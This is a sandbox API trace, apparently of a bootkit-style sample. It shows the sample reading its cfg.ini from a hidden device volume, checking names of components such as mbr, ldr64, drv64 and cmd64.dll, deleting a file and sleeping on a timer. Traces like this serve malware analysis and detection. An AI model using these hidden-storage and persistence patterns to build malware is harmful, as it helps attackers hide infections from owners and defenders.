[0125.682] ReleaseMutex (hMutex=0xf0) returned 1 [0125.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.682] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.682] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.682] KeEnterCriticalRegion () [0125.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.682] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.682] IdePortDispatch () returned 0x103 [0125.683] KeWaitForMutexObject () returned 0x0 [0125.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9780 [0125.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.683] KeLeaveCriticalRegion () [0125.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.683] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.683] KeEnterCriticalRegion () [0125.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.683] KeLeaveCriticalRegion () [0125.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.683] KeEnterCriticalRegion () [0125.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.683] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.683] IdePortDispatch () returned 0x103 [0125.683] KeWaitForMutexObject () returned 0x0 [0125.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.683] KeLeaveCriticalRegion () [0125.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.683] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.683] KeEnterCriticalRegion () [0125.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cca000 [0125.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.684] IdePortDispatch () returned 0x103 [0125.684] KeWaitForMutexObject () returned 0x0 [0125.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.684] IdePortDispatch () returned 0x103 [0125.684] KeWaitForMutexObject () returned 0x0 [0125.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.684] KeLeaveCriticalRegion () [0125.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.685] KeEnterCriticalRegion () [0125.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] KeLeaveCriticalRegion () [0125.685] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.685] KeEnterCriticalRegion () [0125.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.685] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] KeLeaveCriticalRegion () [0125.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.685] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.685] KeEnterCriticalRegion () [0125.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] ExFreePoolWithTag (P=0xfffffa8003bf9780, Tag=0x0) [0125.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] KeLeaveCriticalRegion () [0125.685] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.685] ReleaseMutex (hMutex=0xf0) returned 1 [0125.685] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.685] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.685] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.685] KeEnterCriticalRegion () [0125.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.685] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.685] IdePortDispatch () returned 0x103 [0125.686] KeWaitForMutexObject () returned 0x0 [0125.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.686] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.686] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.686] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.686] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.686] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8340 [0125.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.686] KeLeaveCriticalRegion () [0125.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.686] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.686] KeEnterCriticalRegion () [0125.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.686] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.686] KeLeaveCriticalRegion () [0125.686] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.686] KeEnterCriticalRegion () [0125.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.686] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.686] IdePortDispatch () returned 0x103 [0125.686] KeWaitForMutexObject () returned 0x0 [0125.686] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.686] KeLeaveCriticalRegion () [0125.686] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.686] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.686] KeEnterCriticalRegion () [0125.686] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.686] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccb000 [0125.686] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.686] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.686] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.687] IdePortDispatch () returned 0x103 [0125.687] KeWaitForMutexObject () returned 0x0 [0125.687] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.687] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.687] IdePortDispatch () returned 0x103 [0125.687] KeWaitForMutexObject () returned 0x0 [0125.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.687] KeLeaveCriticalRegion () [0125.687] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.688] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.688] KeEnterCriticalRegion () [0125.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] KeLeaveCriticalRegion () [0125.688] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.688] KeEnterCriticalRegion () [0125.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.688] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] KeLeaveCriticalRegion () [0125.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.688] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.688] KeEnterCriticalRegion () [0125.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] ExFreePoolWithTag (P=0xfffffa8003bf8340, Tag=0x0) [0125.688] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] KeLeaveCriticalRegion () [0125.688] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.688] ReleaseMutex (hMutex=0xf0) returned 1 [0125.688] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.688] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.688] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.688] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.688] KeEnterCriticalRegion () [0125.688] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.688] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.688] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.688] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.688] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.688] IdePortDispatch () returned 0x103 [0125.689] KeWaitForMutexObject () returned 0x0 [0125.689] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.689] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.689] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.689] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.689] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.689] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.689] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.689] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.689] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.689] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.689] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.689] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.689] KeLeaveCriticalRegion () [0125.689] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.689] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.689] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.689] KeEnterCriticalRegion () [0125.689] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.689] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.689] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.689] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.689] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.689] IdePortDispatch () returned 0x103 [0125.689] KeWaitForMutexObject () returned 0x0 [0125.689] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.689] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.689] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.689] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.689] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.689] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.689] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.690] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.690] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.690] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.690] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.690] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.690] KeLeaveCriticalRegion () [0125.690] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.690] ReleaseMutex (hMutex=0x100) returned 1 [0125.690] Sleep (dwMilliseconds=0x2bf20) [0125.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e1f1f90, dwHighDateTime=0x1d24fa4)) [0125.697] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.697] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.697] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.697] KeEnterCriticalRegion () [0125.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.697] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.697] IdePortDispatch () returned 0x103 [0125.697] KeWaitForMutexObject () returned 0x0 [0125.697] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.697] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.697] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.697] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.697] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.697] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9ad0 [0125.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.697] KeLeaveCriticalRegion () [0125.697] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.697] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.697] KeEnterCriticalRegion () [0125.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.697] KeLeaveCriticalRegion () [0125.697] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.697] KeEnterCriticalRegion () [0125.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.697] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.697] IdePortDispatch () returned 0x103 [0125.698] KeWaitForMutexObject () returned 0x0 [0125.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.698] KeLeaveCriticalRegion () [0125.698] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.698] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.698] KeEnterCriticalRegion () [0125.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.698] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cce000 [0125.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, 